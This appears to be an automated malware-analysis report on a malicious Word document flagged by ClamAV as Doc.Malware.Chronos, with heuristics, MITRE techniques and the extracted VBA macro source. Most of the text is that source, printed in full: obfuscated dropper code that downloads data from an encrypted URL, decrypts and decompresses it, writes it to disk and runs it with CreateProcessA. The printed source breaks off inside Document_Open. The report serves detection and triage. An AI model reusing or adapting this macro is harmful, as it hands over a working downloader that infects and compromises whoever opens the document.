MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample is an OOXML document containing VBA macros, including a Document_Open macro, which is a common technique for malware execution. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure to bypass security measures. The presence of VBA code and the detection of 'Doc.Malware.Chronos-6897935-0' by ClamAV strongly suggest malicious intent, likely to download and execute a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
RcfhYKbvetd = Environ(CUh12emhPa4g(Chr(242) + Chr(139) + Chr(69) + Chr(106) + Chr(159) + Chr(202) + Chr(230), "X9Hxae1qOv")) & "\" & OBqADCHy & CUh12emhPa4g(Chr(18) + Chr(12) + Chr(7) + Chr(253), "Vgq8Q62G") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 22544 bytes |
SHA-256: b24a4832db9fc4e4a410f04490d825c0a4db2fd9f487c12518810b9b36065510 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
165 of 282 identifiers look randomly generated (e.g. 'LJ5F1vdhb3En1ztke') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Option Explicit Private Type HTbE3LRfQS7 OnvuiAdW4j As Long TgINKWBcF As Long Ct8y As Long IPaG4eZqaY As Long End Type Private Type NbCaEYpXC7F Db4RikJ4d2y As Long F5NjvmFFM97AL As String QpXS8l6S4f As String MDKrnrhgKC4 As String DYB6ZPMRkR9 As Long OAbK4NFuipb As Long LlY8gY9cZ8YqzP As Long SQktQ31B As Long Pd4v18HI6ae2loDlQ As Long PYjq29H As Long H3E6irM4e As Long FXt8Keq1d As Long HD6jxBCgZ1iHrdQh As Integer PjvaGwgHSkh As Integer YixkTeiee As Long H95kxflNy As Long GAjTaBkTi1UOmS As Long MZBiJNGE As Long End Type Private Declare Function CreateProcessA Lib "kernel32" (ByVal R21BUAXajMSd As String, ByVal SgXAh1jKi58OaZ As String, XWYY9ot64mp As Any, KjhSQGYB6ZPMR As Any, ByVal HFxPCT5iVbe As Long, ByVal IbDFlr4kfpZqvj As Long, L785GTyJBeu As Any, ByVal QeaUc55E As String, VogGeucHQG As NbCaEYpXC7F, RZqiIWA As HTbE3LRfQS7) As Long Private Declare Function InternetOpenUrlA Lib "wininet" (ByVal YYQJs3PP599 As Long, ByVal Sy2odsQet20rGV As String, ByVal Xo3B5eby9xAf As String, ByVal EZqTiEpnAk77UE As Long, ByVal AlfEDM As Long, ByVal OMN79Ec1oO As Long) As Long Private Declare Function InternetOpenA Lib "wininet" (ByVal HIMTJ5lJLs As String, ByVal Wggxkkgwje9L As Long, ByVal DAsGe9 As String, ByVal Lko5GSffn7 As String, ByVal XcKsb2mZZBI As Long) As Long Private QJzFQnwu(0 To 255) As Integer Private Declare Function InternetReadFile Lib "wininet" (ByVal IvtgqYbySYK As Long, ByVal HhenXDD49NZ4bZ As String, ByVal L9ELckLo42t9 As Long, HnBLcS6SY As Long) As Integer Private CtOlY8VDlhaGx As String Private Type EBT5n PqYbySYK8Mh As Byte L7NrlUZ4bZ() As Byte End Type Private Type I9mHKPkVZHFr4Qt IFdwZD9Uvlnv As Integer IjAMggxk As Integer TMTRb6BOqk0Dpg As Integer YCVp4OD8Y As Integer D5cKsb2mZZB As Long End Type Private Declare Sub Ak0eM3Ttz Lib "msvbvm60" Alias "#183" (ByVal Dz0dBY As Long, ByVal XsOHEWTDMENaE0 As Long, ByVal YMcnK8gY As Long) Private Declare Function InternetCloseHandle Lib "wininet" (ByRef ChQf2O3zs As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal QY5lmpquLPrW As Long) As Long Private Sub V4FS3(G5Y() As Byte, AyHozbyEXEL As Long) Dim PsXzVQ9fRm As Long, XIp6pVdeYnW8KN As Long, UokwS8C As Byte, LXogLEt95qr1DUGZS As Long, IJToS1cqH7EazzIhz As Integer, I9Z10NivHEYVVt As Byte, Tey4YtVu4w0m() As Byte, WcoU7qoh4XcuTRj As Integer Dim LH5Os6f3kXysOR As Long, YQFLhwhgs1 As Byte, YUYQJ7RQBAx70 As Long, X26oLR31QJUr As Long, Sw01GsU0E3WO As Long, QAFg9aGv(0 To 7) As Byte, H1tqLCMBV5rN(0 To 511) As I9mHKPkVZHFr4Qt, TKSeE66yFSqTUC(0 To 255) As EBT5n LXogLEt95qr1DUGZS = 1 I9Z10NivHEYVVt = G5Y(LXogLEt95qr1DUGZS - 1) LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS + 1 Ak0eM3Ttz 4, VarPtr(YUYQJ7RQBAx70), VarPtr(G5Y(LXogLEt95qr1DUGZS - 1)) LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS + 4 Sw01GsU0E3WO = YUYQJ7RQBAx70 If (YUYQJ7RQBAx70 = 0) Then Exit Sub ReDim Tey4YtVu4w0m(0 To YUYQJ7RQBAx70 - 1) Ak0eM3Ttz 2, VarPtr(IJToS1cqH7EazzIhz), VarPtr(G5Y(LXogLEt95qr1DUGZS - 1)) LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS + 2 For PsXzVQ9fRm = 1 To IJToS1cqH7EazzIhz With TKSeE66yFSqTUC(G5Y(LXogLEt95qr1DUGZS - 1)) LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS + 1 .PqYbySYK8Mh = G5Y(LXogLEt95qr1DUGZS - 1) LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS + 1 ReDim .L7NrlUZ4bZ(0 To .PqYbySYK8Mh - 1) End With Next QAFg9aGv(0) = 2 ^ 0 QAFg9aGv(1) = 2 ^ 1 QAFg9aGv(2) = 2 ^ 2 QAFg9aGv(3) = 2 ^ 3 QAFg9aGv(4) = 2 ^ 4 QAFg9aGv(5) = 2 ^ 5 QAFg9aGv(6) = 2 ^ 6 QAFg9aGv(7) = 2 ^ 7 YQFLhwhgs1 = G5Y(LXogLEt95qr1DUGZS - 1) LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS + 1 WcoU7qoh4XcuTRj = 0 For PsXzVQ9fRm = 0 To 255 With TKSeE66yFSqTUC(PsXzVQ9fRm) If (.PqYbySYK8Mh > 0) Then For XIp6pVdeYnW8KN = 0 To (.PqYbySYK8Mh - 1) If (YQFLhwhgs1 And QAFg9aGv(WcoU7qoh4XcuTRj)) Then .L7NrlUZ4bZ(XIp6pVdeYnW8KN) = 1 WcoU7qoh4XcuTRj = WcoU7qoh4XcuTRj + 1 If (WcoU7qoh4XcuTRj = 8) Then YQFLhwhgs1 = G5Y(LXogLEt95qr1DUGZS - 1) LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS + 1 WcoU7qoh4XcuTRj = 0 End If Next End If End With Next If (WcoU7qoh4XcuTRj = 0) Then LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS - 1 X26oLR31QJUr = 1 H1tqLCMBV5rN(0).TMTRb6BOqk0Dpg = -1 H1tqLCMBV5rN(0).IjAMggxk = -1 H1tqLCMBV5rN(0).IFdwZD9Uvlnv = -1 H1tqLCMBV5rN(0).YCVp4OD8Y = -1 For PsXzVQ9fRm = 0 To 255 X00LK H1tqLCMBV5rN(), X26oLR31QJUr, PsXzVQ9fRm, TKSeE66yFSqTUC(PsXzVQ9fRm) Next YUYQJ7RQBAx70 = 0 For LXogLEt95qr1DUGZS = LXogLEt95qr1DUGZS To AyHozbyEXEL YQFLhwhgs1 = G5Y(LXogLEt95qr1DUGZS - 1) For WcoU7qoh4XcuTRj = 0 To 7 If (YQFLhwhgs1 And QAFg9aGv(WcoU7qoh4XcuTRj)) Then LH5Os6f3kXysOR = H1tqLCMBV5rN(LH5Os6f3kXysOR).IjAMggxk Else LH5Os6f3kXysOR = H1tqLCMBV5rN(LH5Os6f3kXysOR).TMTRb6BOqk0Dpg If (H1tqLCMBV5rN(LH5Os6f3kXysOR).YCVp4OD8Y > -1) Then Tey4YtVu4w0m(YUYQJ7RQBAx70) = H1tqLCMBV5rN(LH5Os6f3kXysOR).YCVp4OD8Y YUYQJ7RQBAx70 = YUYQJ7RQBAx70 + 1 If (YUYQJ7RQBAx70 = Sw01GsU0E3WO) Then GoTo Sw01GsU0E3WO LH5Os6f3kXysOR = 0 End If Next Next Sw01GsU0E3WO: UokwS8C = 0 For PsXzVQ9fRm = 0 To (YUYQJ7RQBAx70 - 1) UokwS8C = UokwS8C Xor Tey4YtVu4w0m(PsXzVQ9fRm) Next ReDim G5Y(0 To YUYQJ7RQBAx70 - 1) Ak0eM3Ttz YUYQJ7RQBAx70, VarPtr(G5Y(0)), VarPtr(Tey4YtVu4w0m(0)) End Sub Private Function OBqADCHy(Optional QqrlIRWOPe As String = "0123456789") As String Dim R02wTZs8GzMnOcm As Long, P2lTdT9yXkbz As Long R02wTZs8GzMnOcm = 30 P2lTdT9yXkbz = 79 If R02wTZs8GzMnOcm + P2lTdT9yXkbz > 4 Then P2lTdT9yXkbz = R02wTZs8GzMnOcm + 56 Else MsgBox 51 End If Dim ArVUXN5lxgY() As Byte, QscEL() As Byte, WMpgun As Long, TIjA4w4 As Long, XcKvwcRqmVs As Long, RuC4Q As String Dim QKLP As Long, XiuKSb As Long QKLP = 25 XiuKSb = 92 If QKLP + XiuKSb > 4 Then XiuKSb = QKLP + 18 Else MsgBox 67 End If XcKvwcRqmVs = 0 Dim Pc3NVjfi0x3a As Long, Tk4WAk8U5qwAPYXTQ As Long Pc3NVjfi0x3a = 40 Tk4WAk8U5qwAPYXTQ = 47 If Pc3NVjfi0x3a + Tk4WAk8U5qwAPYXTQ > 4 Then Tk4WAk8U5qwAPYXTQ = Pc3NVjfi0x3a + 52 Else MsgBox 37 End If Cv8Anf0Zrx1ExsA: Dim ALzAYzQsz1iSBut As Long, H1unwlMZF1W0I8da2 As Long ALzAYzQsz1iSBut = 19 H1unwlMZF1W0I8da2 = 63 If ALzAYzQsz1iSBut + H1unwlMZF1W0I8da2 > 4 Then H1unwlMZF1W0I8da2 = ALzAYzQsz1iSBut + 76 Else MsgBox 90 End If Randomize RuC4Q = Int(30 * Rnd) If RuC4Q < 4 Then GoTo Cv8Anf0Zrx1ExsA XcKvwcRqmVs = RuC4Q If XcKvwcRqmVs > 0& Then Dim GdT9yXkbz2scj As Long, Bn4H2Ilon As Long GdT9yXkbz2scj = 21 Bn4H2Ilon = 57 If GdT9yXkbz2scj + Bn4H2Ilon > 4 Then Bn4H2Ilon = GdT9yXkbz2scj + 95 Else MsgBox 33 End If Randomize ArVUXN5lxgY = QqrlIRWOPe Dim UENoNm9RpIS As Long, H5Fq3KvL3 As Long UENoNm9RpIS = 81 H5Fq3KvL3 = 77 If UENoNm9RpIS + H5Fq3KvL3 > 4 Then H5Fq3KvL3 = UENoNm9RpIS + 87 Else MsgBox 58 End If WMpgun = Len(QqrlIRWOPe) - 1& XcKvwcRqmVs = (XcKvwcRqmVs * 2&) - 1& Dim P8eRzlc As Long, C10Z As Long P8eRzlc = 28 C10Z = 10 If P8eRzlc + C10Z > 4 Then C10Z = P8eRzlc + 37 Else MsgBox 57 End If ReDim QscEL(XcKvwcRqmVs) As Byte For TIjA4w4 = 0& To XcKvwcRqmVs Step 2& QscEL(TIjA4w4) = ArVUXN5lxgY(CLng(WMpgun * Rnd) * 2&) Next Dim UwnpeMwTmxfg7YQu As Long, QGzMnOcmWxm6DM As Long UwnpeMwTmxfg7YQu = 21 QGzMnOcmWxm6DM = 57 If UwnpeMwTmxfg7YQu + QGzMnOcmWxm6DM > 4 Then QGzMnOcmWxm6DM = UwnpeMwTmxfg7YQu + 95 Else MsgBox 33 End If End If Dim H1iblnF As Long, TshWsIrhZy5Wt As Long H1iblnF = 59 TshWsIrhZy5Wt = 54 If H1iblnF + TshWsIrhZy5Wt > 4 Then TshWsIrhZy5Wt = H1iblnF + 97 Else MsgBox 40 End If OBqADCHy = QscEL Dim UG89Oc As Long, BpC7zSlx1AF As Long UG89Oc = 73 BpC7zSlx1AF = 61 If UG89Oc + BpC7zSlx1AF > 4 Then BpC7zSlx1AF = UG89Oc + 96 Else MsgBox 90 End If End Function Private Property Let C1zp2TPYD7r7Co9Z(RjRq3N As String) Dim YKO As Long, X66mLspfoyriW9 As Long, KFEicogB2LKKViIb As Byte, YEWqrZ() As Byte, NqFLLodnv As Long If (CtOlY8VDlhaGx = RjRq3N) Then Exit Property CtOlY8VDlhaGx = RjRq3N YEWqrZ() = StrConv(CtOlY8VDlhaGx, vbFromUnicode) NqFLLodnv = Len(CtOlY8VDlhaGx) For YKO = 0 To 255 QJzFQnwu(YKO) = YKO Next YKO For YKO = 0 To 255 X66mLspfoyriW9 = (X66mLspfoyriW9 + QJzFQnwu(YKO) + YEWqrZ(YKO Mod NqFLLodnv)) Mod 256 KFEicogB2LKKViIb = QJzFQnwu(YKO) QJzFQnwu(YKO) = QJzFQnwu(X66mLspfoyriW9) QJzFQnwu(X66mLspfoyriW9) = KFEicogB2LKKViIb Next End Property Private Function Yptw7lcRqUAqs1(ByVal KfuJaYmLavVowsnu6 As String, ByVal ItMAnemQ As String, ByVal GFq8Cih2NlAyJkzm As String) As Boolean Dim Ts1e2pVTjLSke As Long, AN4dBGV4kxWRJ As Long Ts1e2pVTjLSke = 45 AN4dBGV4kxWRJ = 71 If Ts1e2pVTjLSke + AN4dBGV4kxWRJ > 4 Then AN4dBGV4kxWRJ = Ts1e2pVTjLSke + 20 Else MsgBox 20 End If Dim O6p6xL As Long, LJ5F1vdhb3En1ztke As Long, DdOkUpJk06f As Long, Njz7qjaT As String * 8162, LDEam7EiGNDKZ60EP As String, HhdrJ2F3MxYmP As Integer, RbZVuXpQR As Double Dim C77DsRlg0HiqYrYqP As Long, RB9L4t7uFFg As Long C77DsRlg0HiqYrYqP = 4 RB9L4t7uFFg = 68 If C77DsRlg0HiqYrYqP + RB9L4t7uFFg > 4 Then RB9L4t7uFFg = C77DsRlg0HiqYrYqP + 2 Else MsgBox 74 End If O6p6xL = InternetOpenA(CUh12emhPa4g(Chr(133) + Chr(120) + Chr(65) + Chr(219) + Chr(194) + Chr(108) + Chr(192) + Chr(218) + Chr(219) + Chr(197) + Chr(124) + Chr(150) + Chr(74) + Chr(90) + Chr(97) + Chr(90) + Chr(248) + Chr(55) + Chr(113) + Chr(58) + Chr(4) + Chr(25) + Chr(39) + Chr(236) + Chr(39) + Chr(119) + Chr(62) + Chr(235) + Chr(241) + Chr(128) + Chr(61) + Chr(65) + Chr(131) + Chr(244) + Chr(129) + Chr(142) + Chr(140) + Chr(146) + Chr(86) + Chr(251) + Chr(243) + Chr(140) + Chr(87) + Chr(135) + Chr(225) + Chr(128) + Chr(115) + Chr(1) + Chr(6) + Chr(127) + Chr(160) + Chr(174) + Chr(66) + Chr(79) + Chr(131) + Chr(155) + Chr(68) + Chr(174) + Chr(67) + Chr(83) + Chr(205) + Chr(34) + Chr(196) + Chr(229) + Chr(172) + Chr(169) + Chr(195), "MKNG7uFFg"), 1, vbNullString, vbNullString, 0) Dim Nai As Long, RH00JhpXE91YhU As Long Nai = 21 RH00JhpXE91YhU = 17 If Nai + RH00JhpXE91YhU > 4 Then RH00JhpXE91YhU = Nai + 82 Else MsgBox 60 End If If O6p6xL = 0 Then Dim PXlB As Long, Y2nIwea As Long PXlB = 55 Y2nIwea = 16 If PXlB + Y2nIwea > 4 Then Y2nIwea = PXlB + 33 Else MsgBox 34 End If Yptw7lcRqUAqs1 = False Exit Function End If Dim O9XnfHM6nPB1B7 As Long, PLFAbclFi As Long O9XnfHM6nPB1B7 = 31 PLFAbclFi = 40 If O9XnfHM6nPB1B7 + PLFAbclFi > 4 Then PLFAbclFi = O9XnfHM6nPB1B7 + 12 Else MsgBox 98 End If LJ5F1vdhb3En1ztke = InternetOpenUrlA(O6p6xL, KfuJaYmLavVowsnu6, vbNullString, 0, &H4000000, 0) Dim NQag283d As Long, UXC3Gb43 As Long NQag283d = 59 UXC3Gb43 = 54 If NQag283d + UXC3Gb43 > 4 Then UXC3Gb43 = NQag283d + 97 Else MsgBox 40 End If If LJ5F1vdhb3En1ztke = 0 Then Dim G5PKfGmh5qEpfPt As Long, C6VJz9BO8RsgM As Long G5PKfGmh5qEpfPt = 69 C6VJz9BO8RsgM = 11 If G5PKfGmh5qEpfPt + C6VJz9BO8RsgM > 4 Then C6VJz9BO8RsgM = G5PKfGmh5qEpfPt + 14 Else MsgBox 32 End If RbZVuXpQR = 0 Else Dim RI6Tb As Long, PSCFumzVX As Long RI6Tb = 56 PSCFumzVX = 25 If RI6Tb + PSCFumzVX > 4 Then PSCFumzVX = RI6Tb + 45 Else MsgBox 56 End If InternetReadFile LJ5F1vdhb3En1ztke, Njz7qjaT, 8162, DdOkUpJk06f LDEam7EiGNDKZ60EP = Njz7qjaT Dim V0QWuerGg1INNrLi As Long, RKc22gXZaaTMVH As Long V0QWuerGg1INNrLi = 61 RKc22gXZaaTMVH = 36 If V0QWuerGg1INNrLi + RKc22gXZaaTMVH > 4 Then RKc22gXZaaTMVH = V0QWuerGg1INNrLi + 10 Else MsgBox 62 End If Do While DdOkUpJk06f <> 0 InternetReadFile LJ5F1vdhb3En1ztke, Njz7qjaT, 8162, DdOkUpJk06f LDEam7EiGNDKZ60EP = LDEam7EiGNDKZ60EP + Mid(Njz7qjaT, 1, DdOkUpJk06f) Loop RbZVuXpQR = Len(LDEam7EiGNDKZ60EP) Dim AovKGjYOx8 As Long, HSH8d9sa As Long AovKGjYOx8 = 69 HSH8d9sa = 38 If AovKGjYOx8 + HSH8d9sa > 4 Then HSH8d9sa = AovKGjYOx8 + 4 Else MsgBox 8 End If HhdrJ2F3MxYmP = FreeFile Dim TE6VJz9 As Long, UYxuwuoUxw As Long TE6VJz9 = 84 UYxuwuoUxw = 93 If TE6VJz9 + UYxuwuoUxw > 4 Then UYxuwuoUxw = TE6VJz9 + 64 Else MsgBox 51 End If Open ItMAnemQ For Binary Access Write Lock Write As #HhdrJ2F3MxYmP Put #HhdrJ2F3MxYmP, , YSSxgqTdeIMBbp8z4(CUh12emhPa4g(LDEam7EiGNDKZ60EP, GFq8Cih2NlAyJkzm)) Dim Dxv71ruUXz59oKkJ7 As Long, WI0Ud54Ftu92 As Long Dxv71ruUXz59oKkJ7 = 71 WI0Ud54Ftu92 = 79 If Dxv71ruUXz59oKkJ7 + WI0Ud54Ftu92 > 4 Then WI0Ud54Ftu92 = Dxv71ruUXz59oKkJ7 + 7 Else MsgBox 26 End If Close #HhdrJ2F3MxYmP End If InternetCloseHandle LJ5F1vdhb3En1ztke Dim FpuoZ7WqAkbtdw As Long, K0ZJxlZxOGImCEV As Long FpuoZ7WqAkbtdw = 9 K0ZJxlZxOGImCEV = 77 If FpuoZ7WqAkbtdw + K0ZJxlZxOGImCEV > 4 Then K0ZJxlZxOGImCEV = FpuoZ7WqAkbtdw + 98 Else MsgBox 10 End If InternetCloseHandle O6p6xL LDEam7EiGNDKZ60EP = "" If RbZVuXpQR Then Yptw7lcRqUAqs1 = True Dim DBjt8kgTlgikuaBvp As Long, L7O2Nq08Jibr As Long DBjt8kgTlgikuaBvp = 10 L7O2Nq08Jibr = 74 If DBjt8kgTlgikuaBvp + L7O2Nq08Jibr > 4 Then L7O2Nq08Jibr = DBjt8kgTlgikuaBvp + 8 Else MsgBox 80 End If End If Dim PqOs As Long, QrXNzi0AHga As Long PqOs = 74 QrXNzi0AHga = 62 If PqOs + QrXNzi0AHga > 4 Then QrXNzi0AHga = PqOs + 97 Else MsgBox 65 End If End Function Private Function YSSxgqTdeIMBbp8z4(FbvWh3V3PI As String) As String Dim B9KFdmHApb8() As Byte B9KFdmHApb8() = StrConv(FbvWh3V3PI, vbFromUnicode) V4FS3 B9KFdmHApb8, Len(FbvWh3V3PI) YSSxgqTdeIMBbp8z4 = StrConv(B9KFdmHApb8(), vbUnicode) End Function Private Function XiB46eUBNC(Y6ce3XR As String) Dim RxC4blPnCH As Long, OO0xBXvVyg As Long RxC4blPnCH = 21 OO0xBXvVyg = 94 If RxC4blPnCH + OO0xBXvVyg > 4 Then OO0xBXvVyg = RxC4blPnCH + 47 Else MsgBox 90 End If Dim IzDp2SV2gM As HTbE3LRfQS7, XWnOIcgf1WxlEd As NbCaEYpXC7F, CLomkP6jGpyzoB As String Dim TKdhZzt9vOJTVO As Long, YAf51XKqqgJr77 As Long TKdhZzt9vOJTVO = 96 YAf51XKqqgJr77 = 16 If TKdhZzt9vOJTVO + YAf51XKqqgJr77 > 4 Then YAf51XKqqgJr77 = TKdhZzt9vOJTVO + 83 Else MsgBox 82 End If XWnOIcgf1WxlEd.Db4RikJ4d2y = Len(XWnOIcgf1WxlEd) Dim ORD2KOm As Long, BxO2EWPAdjxB As Long ORD2KOm = 67 BxO2EWPAdjxB = 57 If ORD2KOm + BxO2EWPAdjxB > 4 Then BxO2EWPAdjxB = ORD2KOm + 14 Else MsgBox 17 End If CreateProcessA CLomkP6jGpyzoB, Y6ce3XR, ByVal 0&, ByVal 0&, 1&, &H20&, ByVal 0&, CLomkP6jGpyzoB, XWnOIcgf1WxlEd, IzDp2SV2gM Dim Bhc As Long, JxdotIiS As Long Bhc = 57 JxdotIiS = 46 If Bhc + JxdotIiS > 4 Then JxdotIiS = Bhc + 31 Else MsgBox 24 End If CloseHandle IzDp2SV2gM.TgINKWBcF Dim AJElJSS As Long, BmgMGD4LfrsFKBDRF As Long AJElJSS = 21 BmgMGD4LfrsFKBDRF = 80 If AJElJSS + BmgMGD4LfrsFKBDRF > 4 Then BmgMGD4LfrsFKBDRF = AJElJSS + 76 Else MsgBox 41 End If CloseHandle IzDp2SV2gM.OnvuiAdW4j Dim F3OUWf3qs As Long, FO93AMgkId As Long F3OUWf3qs = 80 FO93AMgkId = 29 If F3OUWf3qs + FO93AMgkId > 4 Then FO93AMgkId = F3OUWf3qs + 58 Else MsgBox 44 End If End Function Function CUh12emhPa4g(AzG7DcJendK As String, YgBO09PgFNh0wQI As String) As String Dim LhTQeveYYdqvT6Q0 As Long, Pmn512w As Long LhTQeveYYdqvT6Q0 = 32 Pmn512w = 21 If LhTQeveYYdqvT6Q0 + Pmn512w > 4 Then Pmn512w = LhTQeveYYdqvT6Q0 + 56 Else MsgBox 50 End If Dim byteArray() As Byte byteArray() = StrConv(AzG7DcJendK, vbFromUnicode) Omgq9M1451s byteArray(), YgBO09PgFNh0wQI CUh12emhPa4g = StrConv(byteArray(), vbUnicode) Dim INb0nL5tj3Xun As Long, YSUq8BO2yIO43A3OO As Long INb0nL5tj3Xun = 48 YSUq8BO2yIO43A3OO = 25 If INb0nL5tj3Xun + YSUq8BO2yIO43A3OO > 4 Then YSUq8BO2yIO43A3OO = INb0nL5tj3Xun + 43 Else MsgBox 88 End If End Function Sub RQxKoIyhmZRjA(MtBnvNyIkD As Long) Dim Gz43ueL52 As Long, XCfDsTEIlH4 As Long Gz43ueL52 = 93 XCfDsTEIlH4 = 75 If Gz43ueL52 + XCfDsTEIlH4 > 4 Then XCfDsTEIlH4 = Gz43ueL52 + 3 Else MsgBox 23 End If Dim GPzEM9qTfHc4 As Long Dim TmpAaDp9aGmGY As Long, Oxae1qOvYUIQ As Long TmpAaDp9aGmGY = 8 Oxae1qOvYUIQ = 7 If TmpAaDp9aGmGY + Oxae1qOvYUIQ > 4 Then Oxae1qOvYUIQ = TmpAaDp9aGmGY + 37 Else MsgBox 44 End If GPzEM9qTfHc4 = Timer + MtBnvNyIkD Do While Timer < GPzEM9qTfHc4 DoEvents Loop Dim PK1H0504B0D3 As Long, BK9QW7YGZ4D As Long PK1H0504B0D3 = 28 BK9QW7YGZ4D = 73 If PK1H0504B0D3 + BK9QW7YGZ4D > 4 Then BK9QW7YGZ4D = PK1H0504B0D3 + 63 Else MsgBox 20 End If End Sub Private Sub X00LK(K3HclDtmWC() As I9mHKPkVZHFr4Qt, UmfTpQwNa As Long, ElncMfz As Long, L57I1Uquae As EBT5n) Dim Coml As Integer, BGrmj1BDAsyxQGfbZ As Long BGrmj1BDAsyxQGfbZ = 0 For Coml = 0 To (L57I1Uquae.PqYbySYK8Mh - 1) If (L57I1Uquae.L7NrlUZ4bZ(Coml) = 0) Then If (K3HclDtmWC(BGrmj1BDAsyxQGfbZ).TMTRb6BOqk0Dpg = -1) Then K3HclDtmWC(BGrmj1BDAsyxQGfbZ).TMTRb6BOqk0Dpg = UmfTpQwNa K3HclDtmWC(UmfTpQwNa).IFdwZD9Uvlnv = BGrmj1BDAsyxQGfbZ K3HclDtmWC(UmfTpQwNa).TMTRb6BOqk0Dpg = -1 K3HclDtmWC(UmfTpQwNa).IjAMggxk = -1 K3HclDtmWC(UmfTpQwNa).YCVp4OD8Y = -1 UmfTpQwNa = UmfTpQwNa + 1 End If BGrmj1BDAsyxQGfbZ = K3HclDtmWC(BGrmj1BDAsyxQGfbZ).TMTRb6BOqk0Dpg ElseIf (L57I1Uquae.L7NrlUZ4bZ(Coml) = 1) Then If (K3HclDtmWC(BGrmj1BDAsyxQGfbZ).IjAMggxk = -1) Then K3HclDtmWC(BGrmj1BDAsyxQGfbZ).IjAMggxk = UmfTpQwNa K3HclDtmWC(UmfTpQwNa).IFdwZD9Uvlnv = BGrmj1BDAsyxQGfbZ K3HclDtmWC(UmfTpQwNa).TMTRb6BOqk0Dpg = -1 K3HclDtmWC(UmfTpQwNa).IjAMggxk = -1 K3HclDtmWC(UmfTpQwNa).YCVp4OD8Y = -1 UmfTpQwNa = UmfTpQwNa + 1 End If BGrmj1BDAsyxQGfbZ = K3HclDtmWC(BGrmj1BDAsyxQGfbZ).IjAMggxk Else Stop End If Next K3HclDtmWC(BGrmj1BDAsyxQGfbZ).YCVp4OD8Y = ElncMfz End Sub Sub Omgq9M1451s(Msz3HLRx26QUAkf() As Byte, Optional Ldv8lP As String) Dim RCz56z8kzHn As Long, LfRh4klCZStI9q As Long, XUT5WXv6RAa As Byte, PGECwCNxie As Long, YofbfZ9WrR6HuXE As Long, G59b56phfen As Long, JylNjQEyhKzRDG(0 To 255) As Integer If (Len(Ldv8lP) > 0) Then C1zp2TPYD7r7Co9Z = Ldv8lP Ak0eM3Ttz 512, VarPtr(JylNjQEyhKzRDG(0)), VarPtr(QJzFQnwu(0)) YofbfZ9WrR6HuXE = UBound(Msz3HLRx26QUAkf) + 1 G59b56phfen = YofbfZ9WrR6HuXE For PGECwCNxie = 0 To (YofbfZ9WrR6HuXE - 1) RCz56z8kzHn = (RCz56z8kzHn + 1) Mod 256 LfRh4klCZStI9q = (LfRh4klCZStI9q + JylNjQEyhKzRDG(RCz56z8kzHn)) Mod 256 XUT5WXv6RAa = JylNjQEyhKzRDG(RCz56z8kzHn) JylNjQEyhKzRDG(RCz56z8kzHn) = JylNjQEyhKzRDG(LfRh4klCZStI9q) JylNjQEyhKzRDG(LfRh4klCZStI9q) = XUT5WXv6RAa Msz3HLRx26QUAkf(PGECwCNxie) = Msz3HLRx26QUAkf(PGECwCNxie) Xor (JylNjQEyhKzRDG((JylNjQEyhKzRDG(RCz56z8kzHn) + JylNjQEyhKzRDG(LfRh4klCZStI9q)) Mod 256)) Next End Sub Private Sub Document_Open() On Error Resume Next Dim VWyjKNK72m2RIGfnu As Long, RuSVU As Long VWyjKNK72m2RIGfnu = 7 RuSVU = 62 If VWyjKNK72m2RIGfnu + RuSVU > 4 Then RuSVU = VWyjKNK72m2RIGfnu + 70 Else MsgBox 97 End If Dim 